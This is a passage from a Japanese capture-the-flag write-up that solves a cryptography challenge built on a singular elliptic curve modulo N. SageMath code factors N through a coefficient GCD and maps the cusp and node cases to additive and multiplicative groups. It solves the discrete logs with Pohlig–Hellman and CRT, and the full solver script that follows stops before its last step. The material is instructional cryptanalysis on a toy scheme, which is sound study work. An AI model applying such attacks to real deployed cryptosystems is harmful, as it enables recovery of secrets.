a1 = R(3444824117328398332287263145797436732251806993106742790395834211847964497185277822582276657225459760388222788879721727159251866924984494193150653447997603422024763484501407319338008268962141938450376210742802690040775147155751979207058246773645433214949878635670705292205381078390234806850698450436295039666701444937613310617521432088399287665787963949201472844240626719755639541622668049779611715534511220207225102143578882951630506067975785576764801948143058724733822144338788356792891770883002340632245863711872613052190283826616336575324956755899252734899170625497650729243855116042931056447582929301386147920258970755559531421290327063656641559627787073648816453940473655239389908124156165660612689742708373129625588902351602100066924000586976472002309478648159182392535906994995800868902052484891895077235974622067641022944028349866339918120322601296386357756768384853576175451997137719762217320524852380281306558568086807531481968542709466317624453868591793889254468119495169851711195495759784642140806249730424816684480869755835873209370137831042713895026824607183567837804652629953877811080875706500232620906814427668853420025632618707903884500390164422694087209611134445691988003327081785238633702578226975041727958225979248)
a2 = R(4220657222012863331324022021142115292430597859080918473466273569402786623644966310284686263413321809614975935231589489145653176283755430651257679731781262317639561791314044939921047444940366477586782714676520254598940573251619654210976091118990997406140690658178297711641467793763708001463760191631954449349373914543810395796693214118750609853712197438805175066472570862155591695398007261950273250419125590885574184123001650088433861794755115025331664101776274304102152026455526993460636375440860820326183280743695950579713987688972720640809806839932354448804340284231962944525194259756907531717198723001750563548268505211429663171672155787847084254266041562202569381862742321261337515852288555029875114541634885657856133098628215411753502113867694678392848794557484127610549206348398062803815886751442822499835138675419957858172635972565996494066738623225918806510140877651509362663492336907193615683425402286293202044753906775875048228709714069705104761393891056850481333000346334315445516137338415611089281223529138332726805624561300099605623576433557163093276115663323973176583225088838201896098818427080076586531335010187255421257962154369044435187402303275044435710879669190744621547057417343865042642742729067785757980481708859)
a3 = R(558053328032569214424924749545080533443204882028700727482902138363914391087914135627507971718720092171365715176468371521485896504111397460977870822260356387271441953304205921733941102285137843514136574063019959717801987678942331305387691085139598494776572670276131522348754285564338055692053988854672468173283148136803799971745169459014171760554786948833430079164649604597281764343627794445260768624935380114208794996054926094746197686261155891021796742555943693683944342826702912295474954080037614961638746950712216471978826697133699862893226784981265765142815822633931592954799220290654691131583229398813285377913420963860081950349348483037678920450399593707900050487766675868613974940533801078648072478704480320992819463523521796820516675896346804256470328012501588846038478735042417434318823499002305595773925357668467999973946928610673937683220558175159559156997545114017452579732447461296275895921770517350210742318724221387478901570280816476239783222112611595977063375839821604111374772017365123591082565390414268391105301111128872682556523124017007950528192427992576438666158999223964016832132347716369554217989660103488591183333215808683339519953259563788055147227130961325434300468212866224123613198733255438000371632201922)
a4 = R(2409686375529009789062931255151047632553317432871776325977708342575413199868316454516429658254297349908818913648555980905703570378332587211687821833449657319227648023632420349187191203817874908900476265222298630491560124293474130368070578796806092666424986915614853373703916476738812448576677939067552273549664051607033578697950875075526433604321513839183621143953874375023537101509580661583818118731853042627460126855311689628082748074373313182940270826734960431153626135619589835441991890840853823329308534081784864288751938169059434234048947117786007806754996810687735558766333300269431436238258613338745620540366591367671960393239014177679790515185719633955796780366907613116424879434375841785615553717631204945754610331568039531504256955328591989055229298718736414870488253515207480047458000235126179100545819505116852001595203600550936946736697235151062411659082614156384876100227239703938652351269150744501265963390460907632240209469881951684654686080310235283814858158697321466052098007166972602271670115754787224397477919994078767466888020504989901616066772072069140729395181856385314368564511799911756649356907893283650510564887020660017016305620069469798431462964593287090869656274770620420259560247021263773251031107077438)
a6 = R(3470078186850975739936630083585896206711668380019576458144812382551000399461688662828677551712010444136267839539406491436511536191302115255607338126938721757383820709517878001719275207381244220611138211706395289668473890524220737794043932299829801331641728237036572688318923881312268142947916987785394869895788825813684029625439890374199544512146238573470714240061775578066493778177577497298263101431584499987449107860867974717092406776136120389083101744667140157701396393579936132771094350025878985948459504771054936108295811485497516064375315362547356890406207151247645039645122690527467942787823829138406220130486124334447966832679079367832094353016955534024520702689217787284596726932360141615033646357533622370473604448340917687731406312733759882955505680683319971990286000213361326741481930432680541754817125379558827748942025713721383525941123614481097102581692748593322507617409022332312218948944026657739136377028053975532295249075420561511608283484307148039184136388494407661178023614238682702894250591567479031985618265675418397712856074006023785411792521236472702522327496551883792053117847879265359876050067289453559871911346351148700042996957200697205104421637140069904198053600305602065464319177142877679781718358115411)

######### check ##########
# ec = EllipticCurve(R,[a1,a2,a3,a4,a6])
# ... defines a singular curve
b2 = a1^2 + 4*a2
b4 = 2*a4 + a1*a3
b6 = a3^2 + 4*a6
b8 = a1^2*a6 + 4*a2*a6 - a1*a3*a4 + a2*a3^2-a4^2
Delta = -b2^2*b8 - 8*b4^3 - 27*b6^2 + 9*b2*b4*b6
assert Delta == 0 #Singular Curve

STEP 1：シンプルな標準系に変換する

今のままでは係数が 5 個あって分かりづらいので、Y² = X³+a*X+b への変形を考えます。

######### Analyze ##########
PR0.<x,y,X,Y> = PolynomialRing(R)
f0 = y^2 + a1*y*x + a3*y - x^3 - a2*x^2 - a4*x - a6
assert f0(x=P[0], y=P[1]) == 0
assert f0(x=Q[0], y=Q[1]) == 0

# y => Y - (a1*x + a3)//2
f1 = f0.subs(y = Y - (a1*x + a3)/2)
b = f1.coefficient(x^2)
f2 = f1.subs(x = X + b/3)

PR1.<X,Y> = PolynomialRing(R)
f3 = PR1(f2)

計算の結果、この問題の曲線は、

Y^2  = X^3 -1782772986077906947398161154611262672698085996750415656787400197232301329141096392638841718848841461045696748130475932349922740877072798358262467426166990744859814521978436212570218735011383887386070573099691328397240050983505893877272788360039317308749263137795783185473725098032243805116314925678934143651960544434889710387271335918163319115893968197594791128474522351755847230249626878480035493253857780366178948242046227798187142511146214143836797352425755112851057706884728240686537812505737844206256796940202705934889434138156532821366289539535204650510598356053533888371591103954462027601414064132462121594952778819632518227450677913374854400103815440143327770819384109592373707544368119311956717858706923131086243980325128525985363828797451066888033025440264642999659477879076592281675898977112498795935200696311845294162691874849919740793646751137986567414169481384755779128369009038255025874614556046404072103973656812997823968952181042835900299402955339574842852746713968635794035772942274834154510828807541518296692998595854650601336274907820832654163617862793353382430338377859401426673041601517320951508701089743829494989851735642119599455902996313321975256640189038465961553824517793299086380262755811311111044312523697*X - 460255453040082609039062173909877472458592648513160488464891038020917420358090689174483182851647864306239488481565009929181987804440820459854836413549708603659153341000337745470562319739417631129934291462101981943712282128616213213360422088600908238898356609909435591446349931086020564395395033010746911919519190300730284557407330783350408157891639261783941551668541358349835527455266094595253598336852853791968860878415006266571207638735692435326462662153000603126317884961295182239142006860789297560377587886685644292791627551059979746706812269560002683614945130106478663421105517840479631187475491315937820212138497411432423500637238469838542234377123469538854541390614645228151486679064055140837255892143576743703354233121355236520534254247450986181370138965260769645727235019221709898689995215812577795135718741429934899665541533494953911002481459437461763730089974393341691226020287403568067975252738070825411069288325187314548015732692436715643526933390477985534488670496582659603645683184289840900151735282668256472272260179219819977863593858768005839962810375782735690829181635308848496793436491862436102411169777090093975153011171646469538419410920026326677730436104787915013598607999463380156553612494895732048200795751268

と表せることがわかります。

STEP 2：p、q のリーク*7

もし前ステップで得た曲線が cusp なら右辺を x³ の形に変形でき、nodeなら x³+k*x² の形に変形できるはずです。

ここで、いささか天下り的ではあるのですが、mod.p や mod.q での cusp の可能性を考えて、係数と N の GCD をとってみます。

（ここさえクリアできれば、あとはどうにか解けます。）

######### Leak p and q ##########
for c in f3.coefficients():
  if GCD(int(c), int(N))>1:
     p = GCD(int(c),int(N))
     break
q = int(N // p)

これで、

p = 19966952433773622647280963975099603139887593811319990392386894015754446652166446583126433891381570960655713132784650529099582626057886843845523086233188406269001276634158864443217174272472344936896651588970524709312501309698998984063721586210726769606009586215682950765028731638344224398860877069687796137644867440403571014084723477843620793678398876055430128756284754677588405484857364333795470643784083101380058253039735957367939149090758564175640488705079822217679316031716853338402912047783502678971112202058508589384041927358507109319566814540113223437922507783585905695518188920379272309405106729442789658373543

q = 243461111761649993207760947168400804284506306341364302214804755342576984247538465504320804181821117732296445218442722698044016495591355224588160790051125271634950950583507948393226492011352077815035445968846776970268783772849695094433790503876703921214802543382520171552286215155198920398561695803081334247520368425036727612588452045666710947993842012648371635039538156053017069542703517491519451818168781094985349793723987927135325283707772252693501877136194933452282923455736306827546620604423399356092100856126588466821433682033880010011027969816147027236415931807322312109176103897969140571047988318244965072490997

N の素因数分解ができました。

STEP 3：mod.p における DLP

STEP 1 の式を mod.p すると、Y² - X³ = 0 となり mod.p で cusp であることがわかります。

cusp の場合は P(x,y) => GF(p)(x)/GF(p)(y) で GF(p)の加法群に埋め込めるので、GF(p)の割り算で DLP が計算できてしまいます。

######### p-part ##########
Fp = GF(p)
PRp.<X,Y> = PolynomialRing(Fp)
fp = PRp(f3)

pPx = int((R(P[0]) - b/3)) % p
pPy = int((R(P[1]) + (a1*R(P[0]) + a3)/2)) % p
assert fp(X=pPx, Y=pPy) == 0

pQx = int((R(Q[0]) - b/3)) % p
pQy = int((R(Q[1]) + (a1*R(Q[0]) + a3)/2)) % p
assert fp(X=pQx, Y=pQy) == 0

pP = Fp(pPx) / Fp(pPy)
pQ = Fp(pQx) / Fp(pQy)

dp = int(pQ / pP)
#7025039839405611704428712111958349759207458322311670522833450294594383611305677315165985633952030664650635786258165673555465765114643315329353732069777461611751401761914674544356002960784308336509117984388967658384064369100257087912674883067185727519262450590830292550941825022956963193945281389835126338245274010394538063535825061487884323562882347566231815838974746812315006801569379361882901876123000638009135938363380696236844415141937838559729033137284794041322092847877250621506154367893945827762951215514669043938383586688710447277597985025968563205006521697153748676370588892777468314258711170654206087750994

STEP 4：mod.q における DLP

STEP 1 の式を mod.q して変形すると、Y² - X³ = 0 の形にはならず、node であることがわかります。

nodeの場合、Y² = X³ + k*X²の形に変形できるので、まずはその計算を行います。

######### q-part ##########
Fq = GF(q)
PRq.<X,Y> = PolynomialRing(Zmod(q))
fq = PRq(f3)

_qPx = int((R(P[0]) - b/3)) % q
qPy = int((R(P[1]) + (a1*R(P[0]) + a3)/2)) % q
assert fq(X=_qPx, Y=qPy) == 0

_qQx = int((R(Q[0]) - b/3)) % q
qQy = int((R(Q[1]) + (a1*R(Q[0]) + a3)/2)) % q
assert fq(X=_qQx, Y=qQy) == 0

g = fq.subs(Y=0)
PRq1.<X> = PolynomialRing(Zmod(q))
g = PRq1(g)
g = g.monic()
gfs = g.factor()
for gf in gfs:
  if gf[1] == 2:
    t = gf[0].coefficients()[0] * (-1)
    break

#t = -220245088672960781103079450441569380123504516861586630449711395366387206780610484939221421188906153372683673506059911580546567384505353717412806357593230478001104993520292577846240999112167805726361323732962842065785296446355459236089194685765154359364711405630154143070398847547382044206182648549134289295137156095173663548105329485798390603122316915595789064390123686094266685907138664310799482653570001038381776419919948790739594392256805807766318813932833956215538589896017765298795682383685684703878099310275290181834050748659153544107542770069457223232619173173527584835994066130729007055918581967404028607366508
g2 = g.subs(X = X+t)
g2 = PRq1(g2)
k = g2.coefficients()[0]
k = Fq(k)

しかし、この問題には一つ罠があって、おそらくそれが「med-hard」の所以かと思うのですが、この k は Fqの平方数ではありません。ですので、g(z):=z² - k の最小分解体で議論をする必要があります。

PR2.<z> = PolynomialRing(Fq)
g = z^2 - k

_Fq.<a> = g.splitting_field()
k = _Fq(k)

sk = k.sqrt()
#162232900175888562003325744668525554624415021281425098396272737914535345383960144272343369193548483796506627212985596786523381831296976903064692267590904419812297991258323146654806459790940475563943858373167116325897204220438957546054005865399846837641733441609696205280240170577344585723326274832653912316075198709383688233726074856590594508498072029870880133672151971662261760998366130513145750019965563154108087932191319634492837517693437225424931642335866758148457035829406659694863762700729835385077559096890896806281042792138778480938544450159805455489179568634479653568649514424006907004748846687489558879691382*a + 81116450087944281001662872334262777312207510640712549198136368957267672691980072136171684596774241898253313606492798393261690915648488451532346133795452209906148995629161573327403229895470237781971929186583558162948602110219478773027002932699923418820866720804848102640120085288672292861663137416326956158037599354691844116863037428295297254249036014935440066836075985831130880499183065256572875009982781577054043966095659817246418758846718612712465821167933379074228517914703329847431881350364917692538779548445448403140521396069389240469272225079902727744589784317239826784324757212003453502374423343744779439845691

_fq = fq.subs(X=X+t)
qPx = _qPx - t
qQx = _qQx - t
assert _fq(X=qPx, Y=qPy) == 0
assert _fq(X=qQx, Y=qQy) == 0

_P = _Fq(qPy + sk*qPx) / _Fq(qPy - sk*qPx) 
_Q = _Fq(qQy + sk*qQx) / _Fq(qQy - sk*qQx) 

あとは、上で求めた _P、_Q を _Fq の乗法群に埋め込んで DLPすることになります。

_P の乗法位数は q²-1 の約数ですが、計算してみると _P^q+1 = 1 となるので乗法位数は q+1（の約数）であることが分かります。

幸いにして q+1 は非常に smooth なので、DLP の計算が出来てしまいます。

#factors of q+1: order of _P
assert pow(_P,q+1) == 1
orderof_P = q + 1 
factors, exponents = zip(*factor(orderof_P))
primes = [factors[i] ^ exponents[i] for i in range(len(factors))]
dlogs = []

for fac in primes:
  t = int(orderof_P) // int(fac)
  dlog = discrete_log(pow(_Q,t),pow(_P,t), fac)
  dlogs += [dlog]
  print("factor: "+str(fac)+", Discrete Log: "+str(dlog))

dq = crt(dlogs, primes)
#154075924574486175347562707909961851402473727702317014643095837103684216209007400449603645038526706544810274253183915272469230486051463763376281249086241018042323557902517109795258549187502855001546939039636627742750565210192130958634960554514582139821851491012805037749372205891490027899780633462385372566211372295338704317555889404525927560364933196695956191547549400570151698776808151665849614088600216427777499739843872660202818084555597128524362080176403087726056343256360787083367650029121152781001815493814784689811694461739837548360105812995919537253775141056337613175724504154405630673812583838536950403083982

STEP 5：mod.N における DLP

STEP3、STEP4 の結果を合わせて、mod.N での DLP を計算します。 このとき、STEP3 の計算は GF(p)の加法群（order=p）への埋め込みであったことに注意します。

######### join ##########
m = int(crt([dp, dq],[int(p),int(q+1)]))
print(long_to_bytes(int(m)))

これでフラグをゲットできます。

ソルバ（前記解法をまとめたもの）

「solve.sage」

from Crypto.Util.number import *

N = 4861176438018509277765150221122126870541685654379801604114760532814287581153000210004207389443213309449018955338869863741674740447811975915078711903955681567092381171537713559560343153877511977292098222368485399204912122010227229078270969924905169787592189375418475308051129528888568681568734206072034666373423912365236817972608366602899547226744432299234711173306225399948633496091891925021506066051269505274591577497904167584767303718241171649947539664809546498443661211509926990737931523544728384428153032760216353730801234655930548104422024130570816728659653538260845032772371478140823258876790879087834215578099103687121280145961921389449249461303695127426477060016215875089488915916633794518511956116049451487462341914580430836466289069310852902452441670591766542607475566151856004189541762250121764347455770924195541519142036527843854325635334990763891612540761801228294679227675034333748671488131374369328481523920448620362794582130982555488343842058198241325525060402667145213028907534526536473479495813172523174608010901013909785818541505226347899760377967331689016937903306728695776347712900417640623152047417427405267791933202247836823133253708561331399337585694285673510222776175851823031760492810621651225757782530492371
R = IntegerModRing(N)

P = (3187380289473628229166076722741605522066106734974330968029363462853994178034889323396549034418774714004310597327299938638132972121767717298791108552121182926252120215568543440680511528729320460150972551785766528743150693345444523026329817473750107100977751329156774721144063214517285726358018274335181425122425497682910915355289941993635789204613409760838922069179423532756084124424087369187079085568561566146028731452307769275341282229672567986555625437613270131401345164990913073456655478295677780849952336452819811133154540184923229453881172046434709663594257091451745029926858800906234840424320289294896839680690069966831649763526212416442961133572796128363987883784263178284726172207323075552538055360106875136163073733438818095552239514221846774992407935815625138205772383894721080363344299257591334491217283076801413291378680281026191916099741354829618889407157244425285493750026510597867261891663671051439047441921123676903663738851276574650416199443198000844605048534594681961771316401603946312451699473847875708346024353289399679978116606272338553246201412764667063871923809515939019235129599135013826180754092409070369916743385338966842753295793028555461533907357857077718994569945179301205081583517722938903924076665161044, 3098509628622199032118889410483498131367153585346875063187101858846530923677876883688759300004198379875832388354339483427258628984564188587177660880817830979516874750329732607401997056978414818886317043638783781007690534739021969383875639013225069704552442992187754882339991182056369690510439789934317089638780423707333159124535609705606295588910501964436737250259915950704729890743964057623145716533126214373974194784113312896436317252284869588214466286181124050804480953801866558673847704787898982600498747562456653841097050232470321543436789172232099599127971642034835964697711543521559007789014820299180115236028167277348348032904641115578872979829671579406457760784565977595271755930086750953607663935048590611365120577239940466584901735242180094939957609545245177604315541505004948250587350636338636915644227983529643209843144781082102080871034333050105691539153291831079893973988409961640177613779257702061258595947270721984862788409947895289380176754001635912693165856017623626949014494500443988487409429044235792054307487109200214875223031796045288551137200587375732192809300189009239330821740285801646366723787253158915642748289216793582895026761306175028926426159594779782097763953591584903850004456396580915118506266981337)
Q = (2940137648302822135887768405733428618361214020026143318586301618329372655276898009551187352450543631241584953409424998458467844898870748818109962017628692856154502911778246629019987248210711081379384038506544899037017094206431000794646201463294660352565581410940316447059413267990280103085282255573960006012422254599380011885107374758617951885988212493389139714778955997592191645456603116305632632160041751363247794842614094023112577912814096859442106924317927245381355215404305882813647647808165973585096785363719791485657642484540219214405059891658285454539795978892636754583882973657007442901458945664345488978832970375753192565978853522306244584220151446267601777829062885902539106413866798108556472482002577646588557387807715633128913787076005721277459341934855424070398364463323364862109833382659277887541400854089319386644417923424987803584644908821750251870682987388817038606082810492054657719015315239443896190699718636785628585029435696899067125128349522932992790811417433696577333575752911124735242072095229457254742656832308956471177564651299639347093754244273997643353109038338400428109043737885400764768339281104454669195785957709561673360000645367092746262324437783858934652428309563075654233156559693135917215127084839, 4309188751202413994756093118871339651868155545296257835957631283548458290549834043239999619160131639470537688107285148019375428000337112432317175093336043210190860875690929878131126549041446002208047334350876371320870374521378167548031473971584407464547121329256935748386784077512111069027529070091090512274046019879131201709340032343094129650445987190535015392973173123256087780783994874319281164700525019310387007282075836894663864145318825896934077504337916357614201204461113478545772364849985793786972947231991982415597625212515186739391531585821996127328710500026236144903951637427245223426748300366460373759173484339176020599231393473092295681626107718784321631623410699469438511433557396045657573993803277529816220655895923559584651137391079923579080103751692260916441921214236122141145982485958870445890303087859026075184149723430563928025165528170894575097071775485154541104075542976068077112038847635378050578747036715486956987048325200527662369726957499097289967832182678228473153601275262332757733205093157880270604049046032523006585325029448952623263419851474313757519250802143143825231591931300564658633698464656605919184597056629222214865044578470955523959024153014386918508244536074045249645182811691608730763212420747)

a1 = R(3444824117328398332287263145797436732251806993106742790395834211847964497185277822582276657225459760388222788879721727159251866924984494193150653447997603422024763484501407319338008268962141938450376210742802690040775147155751979207058246773645433214949878635670705292205381078390234806850698450436295039666701444937613310617521432088399287665787963949201472844240626719755639541622668049779611715534511220207225102143578882951630506067975785576764801948143058724733822144338788356792891770883002340632245863711872613052190283826616336575324956755899252734899170625497650729243855116042931056447582929301386147920258970755559531421290327063656641559627787073648816453940473655239389908124156165660612689742708373129625588902351602100066924000586976472002309478648159182392535906994995800868902052484891895077235974622067641022944028349866339918120322601296386357756768384853576175451997137719762217320524852380281306558568086807531481968542709466317624453868591793889254468119495169851711195495759784642140806249730424816684480869755835873209370137831042713895026824607183567837804652629953877811080875706500232620906814427668853420025632618707903884500390164422694087209611134445691988003327081785238633702578226975041727958225979248)
a2 = R(4220657222012863331324022021142115292430597859080918473466273569402786623644966310284686263413321809614975935231589489145653176283755430651257679731781262317639561791314044939921047444940366477586782714676520254598940573251619654210976091118990997406140690658178297711641467793763708001463760191631954449349373914543810395796693214118750609853712197438805175066472570862155591695398007261950273250419125590885574184123001650088433861794755115025331664101776274304102152026455526993460636375440860820326183280743695950579713987688972720640809806839932354448804340284231962944525194259756907531717198723001750563548268505211429663171672155787847084254266041562202569381862742321261337515852288555029875114541634885657856133098628215411753502113867694678392848794557484127610549206348398062803815886751442822499835138675419957858172635972565996494066738623225918806510140877651509362663492336907193615683425402286293202044753906775875048228709714069705104761393891056850481333000346334315445516137338415611089281223529138332726805624561300099605623576433557163093276115663323973176583225088838201896098818427080076586531335010187255421257962154369044435187402303275044435710879669190744621547057417343865042642742729067785757980481708859)
a3 = R(558053328032569214424924749545080533443204882028700727482902138363914391087914135627507971718720092171365715176468371521485896504111397460977870822260356387271441953304205921733941102285137843514136574063019959717801987678942331305387691085139598494776572670276131522348754285564338055692053988854672468173283148136803799971745169459014171760554786948833430079164649604597281764343627794445260768624935380114208794996054926094746197686261155891021796742555943693683944342826702912295474954080037614961638746950712216471978826697133699862893226784981265765142815822633931592954799220290654691131583229398813285377913420963860081950349348483037678920450399593707900050487766675868613974940533801078648072478704480320992819463523521796820516675896346804256470328012501588846038478735042417434318823499002305595773925357668467999973946928610673937683220558175159559156997545114017452579732447461296275895921770517350210742318724221387478901570280816476239783222112611595977063375839821604111374772017365123591082565390414268391105301111128872682556523124017007950528192427992576438666158999223964016832132347716369554217989660103488591183333215808683339519953259563788055147227130961325434300468212866224123613198733255438000371632201922)
a4 = R(2409686375529009789062931255151047632553317432871776325977708342575413199868316454516429658254297349908818913648555980905703570378332587211687821833449657319227648023632420349187191203817874908900476265222298630491560124293474130368070578796806092666424986915614853373703916476738812448576677939067552273549664051607033578697950875075526433604321513839183621143953874375023537101509580661583818118731853042627460126855311689628082748074373313182940270826734960431153626135619589835441991890840853823329308534081784864288751938169059434234048947117786007806754996810687735558766333300269431436238258613338745620540366591367671960393239014177679790515185719633955796780366907613116424879434375841785615553717631204945754610331568039531504256955328591989055229298718736414870488253515207480047458000235126179100545819505116852001595203600550936946736697235151062411659082614156384876100227239703938652351269150744501265963390460907632240209469881951684654686080310235283814858158697321466052098007166972602271670115754787224397477919994078767466888020504989901616066772072069140729395181856385314368564511799911756649356907893283650510564887020660017016305620069469798431462964593287090869656274770620420259560247021263773251031107077438)
a6 = R(3470078186850975739936630083585896206711668380019576458144812382551000399461688662828677551712010444136267839539406491436511536191302115255607338126938721757383820709517878001719275207381244220611138211706395289668473890524220737794043932299829801331641728237036572688318923881312268142947916987785394869895788825813684029625439890374199544512146238573470714240061775578066493778177577497298263101431584499987449107860867974717092406776136120389083101744667140157701396393579936132771094350025878985948459504771054936108295811485497516064375315362547356890406207151247645039645122690527467942787823829138406220130486124334447966832679079367832094353016955534024520702689217787284596726932360141615033646357533622370473604448340917687731406312733759882955505680683319971990286000213361326741481930432680541754817125379558827748942025713721383525941123614481097102581692748593322507617409022332312218948944026657739136377028053975532295249075420561511608283484307148039184136388494407661178023614238682702894250591567479031985618265675418397712856074006023785411792521236472702522327496551883792053117847879265359876050067289453559871911346351148700042996957200697205104421637140069904198053600305602065464319177142877679781718358115411)

######### check ##########
# ec = EllipticCurve(R,[a1,a2,a3,a4,a6])
# ... defines a singular curve
b2 = a1^2 + 4*a2
b4 = 2*a4 + a1*a3
b6 = a3^2 + 4*a6
b8 = a1^2*a6 + 4*a2*a6 - a1*a3*a4 + a2*a3^2-a4^2
Delta = -b2^2*b8 - 8*b4^3 - 27*b6^2 + 9*b2*b4*b6
assert Delta == 0 #Singular Curve

######### Analyze ##########
PR0.<x,y,X,Y> = PolynomialRing(R)
f0 = y^2 + a1*y*x + a3*y - x^3 - a2*x^2 - a4*x - a6
assert f0(x=P[0], y=P[1]) == 0
assert f0(x=Q[0], y=Q[1]) == 0

# y => Y - (a1*x + a3)//2
f1 = f0.subs(y = Y - (a1*x + a3)/2)
b = f1.coefficient(x^2)
f2 = f1.subs(x = X + b/3)

PR1.<X,Y> = PolynomialRing(R)
f3 = PR1(f2)
# Y^2  = X^3 -1782772986077906947398161154611262672698085996750415656787400197232301329141096392638841718848841461045696748130475932349922740877072798358262467426166990744859814521978436212570218735011383887386070573099691328397240050983505893877272788360039317308749263137795783185473725098032243805116314925678934143651960544434889710387271335918163319115893968197594791128474522351755847230249626878480035493253857780366178948242046227798187142511146214143836797352425755112851057706884728240686537812505737844206256796940202705934889434138156532821366289539535204650510598356053533888371591103954462027601414064132462121594952778819632518227450677913374854400103815440143327770819384109592373707544368119311956717858706923131086243980325128525985363828797451066888033025440264642999659477879076592281675898977112498795935200696311845294162691874849919740793646751137986567414169481384755779128369009038255025874614556046404072103973656812997823968952181042835900299402955339574842852746713968635794035772942274834154510828807541518296692998595854650601336274907820832654163617862793353382430338377859401426673041601517320951508701089743829494989851735642119599455902996313321975256640189038465961553824517793299086380262755811311111044312523697*X - 460255453040082609039062173909877472458592648513160488464891038020917420358090689174483182851647864306239488481565009929181987804440820459854836413549708603659153341000337745470562319739417631129934291462101981943712282128616213213360422088600908238898356609909435591446349931086020564395395033010746911919519190300730284557407330783350408157891639261783941551668541358349835527455266094595253598336852853791968860878415006266571207638735692435326462662153000603126317884961295182239142006860789297560377587886685644292791627551059979746706812269560002683614945130106478663421105517840479631187475491315937820212138497411432423500637238469838542234377123469538854541390614645228151486679064055140837255892143576743703354233121355236520534254247450986181370138965260769645727235019221709898689995215812577795135718741429934899665541533494953911002481459437461763730089974393341691226020287403568067975252738070825411069288325187314548015732692436715643526933390477985534488670496582659603645683184289840900151735282668256472272260179219819977863593858768005839962810375782735690829181635308848496793436491862436102411169777090093975153011171646469538419410920026326677730436104787915013598607999463380156553612494895732048200795751268

######### Leak p and q ##########
for c in f3.coefficients():
  if GCD(int(c), int(N))>1:
     p = GCD(int(c),int(N))
     break
q = int(N // p)

assert isPrime(p)
assert isPrime(q)
#p = 19966952433773622647280963975099603139887593811319990392386894015754446652166446583126433891381570960655713132784650529099582626057886843845523086233188406269001276634158864443217174272472344936896651588970524709312501309698998984063721586210726769606009586215682950765028731638344224398860877069687796137644867440403571014084723477843620793678398876055430128756284754677588405484857364333795470643784083101380058253039735957367939149090758564175640488705079822217679316031716853338402912047783502678971112202058508589384041927358507109319566814540113223437922507783585905695518188920379272309405106729442789658373543
#q = 243461111761649993207760947168400804284506306341364302214804755342576984247538465504320804181821117732296445218442722698044016495591355224588160790051125271634950950583507948393226492011352077815035445968846776970268783772849695094433790503876703921214802543382520171552286215155198920398561695803081334247520368425036727612588452045666710947993842012648371635039538156053017069542703517491519451818168781094985349793723987927135325283707772252693501877136194933452282923455736306827546620604423399356092100856126588466821433682033880010011027969816147027236415931807322312109176103897969140571047988318244965072490997

######### p-part ##########
Fp = GF(p)
PRp.<X,Y> = PolynomialRing(Fp)
fp = PRp(f3)

pPx = int((R(P[0]) - b/3)) % p
pPy = int((R(P[1]) + (a1*R(P[0]) + a3)/2)) % p
assert fp(X=pPx, Y=pPy) == 0

pQx = int((R(Q[0]) - b/3)) % p
pQy = int((R(Q[1]) + (a1*R(Q[0]) + a3)/2)) % p
assert fp(X=pQx, Y=pQy) == 0

pP = Fp(pPx) / Fp(pPy)
pQ = Fp(pQx) / Fp(pQy)

dp = int(pQ / pP)
#7025039839405611704428712111958349759207458322311670522833450294594383611305677315165985633952030664650635786258165673555465765114643315329353732069777461611751401761914674544356002960784308336509117984388967658384064369100257087912674883067185727519262450590830292550941825022956963193945281389835126338245274010394538063535825061487884323562882347566231815838974746812315006801569379361882901876123000638009135938363380696236844415141937838559729033137284794041322092847877250621506154367893945827762951215514669043938383586688710447277597985025968563205006521697153748676370588892777468314258711170654206087750994

######### q-part ##########
Fq = GF(q)
PRq.<X,Y> = PolynomialRing(Zmod(q))
fq = PRq(f3)

_qPx = int((R(P[0]) - b/3)) % q
qPy = int((R(P[1]) + (a1*R(P[0]) + a3)/2)) % q
assert fq(X=_qPx, Y=qPy) == 0

_qQx = int((R(Q[0]) - b/3)) % q
qQy = int((R(Q[1]) + (a1*R(Q[0]) + a3)/2)) % q
assert fq(X=_qQx, Y=qQy) == 0

g = fq.subs(Y=0)
PRq1.<X> = PolynomialRing(Zmod(q))
g = PRq1(g)
g = g.monic()
gfs = g.factor()
for gf in gfs:
  if gf[1] == 2:
    t = gf[0].coefficients()[0] * (-1)
    break

#t = -220245088672960781103079450441569380123504516861586630449711395366387206780610484939221421188906153372683673506059911580546567384505353717412806357593230478001104993520292577846240999112167805726361323732962842065785296446355459236089194685765154359364711405630154143070398847547382044206182648549134289295137156095173663548105329485798390603122316915595789064390123686094266685907138664310799482653570001038381776419919948790739594392256805807766318813932833956215538589896017765298795682383685684703878099310275290181834050748659153544107542770069457223232619173173527584835994066130729007055918581967404028607366508
g2 = g.subs(X = X+t)
g2 = PRq1(g2)
k = g2.coefficients()[0]
k = Fq(k)

PR2.<z> = PolynomialRing(Fq)
g = z^2 - k

_Fq.<a> = g.splitting_field()
k = _Fq(k)
sk = k.sqrt()
#162232900175888562003325744668525554624415021281425098396272737914535345383960144272343369193548483796506627212985596786523381831296976903064692267590904419812297991258323146654806459790940475563943858373167116325897204220438957546054005865399846837641733441609696205280240170577344585723326274832653912316075198709383688233726074856590594508498072029870880133672151971662261760998366130513145750019965563154108087932191319634492837517693437225424931642335866758148457035829406659694863762700729835385077559096890896806281042792138778480938544450159805455489179568634479653568649514424006907004748846687489558879691382*a + 81116450087944281001662872334262777312207510640712549198136368957267672691980072136171684596774241898253313606492798393261690915648488451532346133795452209906148995629161573327403229895470237781971929186583558162948602110219478773027002932699923418820866720804848102640120085288672292861663137416326956158037599354691844116863037428295297254249036014935440066836075985831130880499183065256572875009982781577054043966095659817246418758846718612712465821167933379074228517914703329847431881350364917692538779548445448403140521396069389240469272225079902727744589784317239826784324757212003453502374423343744779439845691

_fq = fq.subs(X=X+t)
qPx = _qPx - t
qQx = _qQx - t
assert _fq(X=qPx, Y=qPy) == 0
assert _fq(X=qQx, Y=qQy) == 0

_P = _Fq(qPy + sk*qPx) / _Fq(qPy - sk*qPx) 
_Q = _Fq(qQy + sk*qQx) / _Fq(qQy - sk*qQx) 

#factors of q+1: order of _P
assert pow(_P,q+1) == 1
orderof_P = q + 1 
factors, exponents = zip(*factor(orderof_P))
primes = [factors[i] ^ exponents[i] for i in range(len(factors))]
dlogs = []

for fac in primes:
  t = int(orderof_P) // int(fac)
  dlog = discrete_log(pow(_Q,t),pow(_P,t), fac)
  dlogs += [dlog]
  print("factor: "+str(fac)+", Discrete Log: "+str(dlog))

dq = crt(dlogs, primes)
